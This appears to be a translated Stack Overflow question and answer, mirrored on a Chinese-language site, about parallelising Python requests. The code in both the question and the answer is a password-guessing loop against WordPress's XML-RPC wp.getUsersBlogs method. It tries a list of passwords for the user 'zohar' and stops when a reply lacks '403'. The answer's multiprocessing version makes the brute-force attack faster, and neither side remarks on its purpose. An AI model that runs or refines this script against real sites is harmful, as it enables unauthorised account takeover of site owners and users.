簡體   English   中英

Python 請求模塊多線程

[英]Python requests module multi threading

有沒有可能使用多處理接口加速我的代碼的方法? 我有包含密碼的數據數組,我想一起運行一些請求。

import requests
data = ['test','test1','test2']
counter=0



for  x in data:
   counter+=1
   burp0_data = "<methodCall>\r\n<methodName>wp.getUsersBlogs</methodName>\r\n<params>\r\n<param> 
   <value>zohar</value></param>\r\n<param><value>"+x+"</value> 
   </param>\r\n</params>\r\n</methodCall>\r\n"

       s=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
       if not (s.text.__contains__("403")):
       print(s.text)
       print(x)
       exit()

Python 多處理模塊是您正在尋找的。 例如,它有一個並行的 map function,它將異步運行所有請求。 您的代碼大致如下所示:

import requests
from multiprocessing import Pool

def post(x):
    burp0_data = "<methodCall>\r\n<methodName>wp.getUsersBlogs</methodName>\r\n<params>\r\n<param> 
   <value>zohar</value></param>\r\n<param><value>"+x+"</value> 
   </param>\r\n</params>\r\n</methodCall>\r\n"

    s=requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    if not (s.text.__contains__("403")):
        return s.text, x
    return None, None

if __name__ == '__main__':
    data = ['test','test1','test2']
    counter=0
    with Pool(processes=len(data)) as pool:
        results = pool.map(post, data, 1)
        for res in results:
            if res[0] is not None:
                print(res[0])
                print(res[1])
                exit()

有關更多信息,請參閱有關多處理的 Python 文檔

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM